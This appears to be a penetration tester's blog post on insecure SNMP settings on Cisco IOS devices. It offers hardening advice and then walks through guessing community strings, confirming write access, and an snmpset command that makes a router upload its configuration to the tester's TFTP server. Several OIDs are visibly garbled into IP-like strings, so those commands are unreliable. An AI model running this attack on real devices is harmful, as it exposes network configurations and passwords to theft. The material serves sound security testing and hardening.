In this post, I’m going to briefly discuss some of the age-old security issues identified with SNMP configurations, specifically on Cisco IOS network devices. .
Recently, during a number of external tests across the Internet, I’ve gained privileged access to many Cisco IOS devices configured with poor SNMP settings. And yet the poor SNMP configurations I’ve exploited have been so well documented across the Internet that I’m amazed so many Cisco devices are vulnerable!! Here are some examples of what SNMP Read-Write access to a Cisco device allows:
- Interfaces can be shutdown
- Device can be rebooted
- IP routes can be changed, removed or added
- Device configuration can be uploaded to a TFTP server for further analysis
- Device Passwords can be reset
Naturally, none of these should be possible for your Internet-facing devices. :o)
SNMP Default Community Strings – Never ever use them. Most SNMP devices will default to public for read-only access and private for read-write access. Even if nothing else is done to the SNMP configuration change these values to something strong….throw in lower case, upper case, special characters and make them long!!
SNMP Permissions – If, for network monitoring purposes, you only need to poll SNMP values on your network device then completely disable any read-write access; it’s not needed and should only be enabled if you are making configuration changes to the device.
SNMP Access Filters/Lists – Making sure only legitimate management devices/hosts can access your SNMP-enabled devices is good practice. Assuming a strong SNMP community string has now been chosen and configured, its worth locking-down the devices to only those devices that need SNMP access.
The Cisco IOS “snmp-server” command allows an IOS standard or extended access list to be specified:
After discovering that a device is listening on UDP port 161 (SNMP), an SNMP enumeration tool can be used to extract information from the device. Tools such as SNMPWalk or SNMPEnum are two that I use regularly. SNMPWalk queries the device with a standard set of MIBs. With SNMPEnum you can specify a configuration file supplied with the tool that queries for additional vendor-specific values. In the case of Cisco, SNMPEnum can return running processes, recent terminal users and the system log (amongst others)
Here a read-only community string of public is being used on Cisco switch 192.168.1.1. This assumes the SNMP community strings are known…..otherwise you’ll have to guess!! We can see below that the string worked since the device responded with a series of values:
Now lets check if a SNMP read-write access is possible. Using the same command, just changed the –c switch to use the read-write community string. In this example its private; a well known and obvious read-write community string:
I now know that private is a valid string since data was returned, but I need to confirm that private is in fact the read-write string. I can attempt to change a harmless value on the device. In this case we’ll set the “sysName” value(string) to “PENTURA”. If accepted by the device, I’ll know that private is the read-write community string:
“sysName” is represented as “.18.104.22.168.22.214.171.124.0”. I’ll use the SNMPSet command to change this value to “PENTURA”. In the command example below, the “s” instructs SNMPSet that I want to write a string value.
So that confirms private is a read-write community string. Now I can go ahead and extract the IOS configuration. I start my TFTP server and, using the SNMPSet command, configure the router to upload its configuration to an IP address I specify.
Here’s an example of the command (I’ll leave you to play!)
#snmpset -v 1 -c <rw-community-string> <target_device_ip> .126.96.36.199.188.8.131.52.1.55.<TFTP_Server_IP> s <local_tftp_filename>